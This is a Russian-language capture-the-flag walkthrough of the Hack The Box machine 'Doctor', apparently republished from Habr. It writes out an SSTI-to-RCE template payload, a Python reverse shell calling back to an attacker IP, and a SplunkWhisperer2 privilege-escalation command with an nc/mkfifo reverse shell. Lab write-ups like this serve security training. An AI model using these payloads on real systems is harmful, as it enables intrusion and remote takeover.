Русский
Русский
English
Статистика
Реклама

Hack The Box. Прохождение Doctor. SSTI to RCE. LPE через Splunkd

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.209    doctor.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

И заходя на сайт обнаружим еще одно доменное имя.

Добавим его в /etc/hosts.

10.10.10.209doctors.htb

И на найденном сайте нас уже встречает форма авторизации, это уже интереснее.

Entry Point

Давайте зарегистрируемся.

Просматривая сайт, находим интересную ссылку.

Но там ничего интересного нет.

Посидев с формой отправки сообщений, отмечаем, что главная страница не уязвима к XSS.

Аеще понимаем, что попадает в архив.

Вот только символы не экранированы, а код не выполнился из за наличия <item><title>. Давайте отправим нагрузку, в которой данные теги будут закрываться.

И когда мы перейдем в архив, нас встретит ожидаемое окошко алерта.

Так как есть XSS, давайте проверим шаблонизатор, возможно удастся добиться SSTI. Есть интересная схема определения шаблонизатора.

Проверяем:

</title></item>{{77}}
</title></item>{{7'7'}}
</title></item>{{config.items()}}

И находим уязвимость. Наличие SSTI позволяет нам выполнить свой код, для чего мы будем использовать следующий шаблон:

{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("").read().zfill(417)}}{%endif%}{% endfor %}

Давайте выполним следующий реверс шелл:

import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("10.10.14.27",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash", "-i"]);

Запустим листенер. Полная нагрузка будет такой:

</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

USER

Так мы состоим в группе adm, что дает нам право читать логи. Поищем в логах Apache слова pas, secret и т.п.

И мы находим интересную строку, которая является паролем пользователя.

Теперь, когда у нас есть учетные данные, давайте попробуем повысить привилегии, с помощью эксплуатации службы Splunk, работающей на 8089 порте. Будем использовать этот эксплоит (http://personeltest.ru/aways/github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).

python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'

И получаем бэкконнект на свой листенер.

Источник: habr.com
К списку статей
Опубликовано: 06.02.2021 18:22:40
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Информационная безопасность

Python

Ctf

Ralf_rt

Ssti

Red team

Red teaming

Pentest

Pentestit

Компьютерная безопасность

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru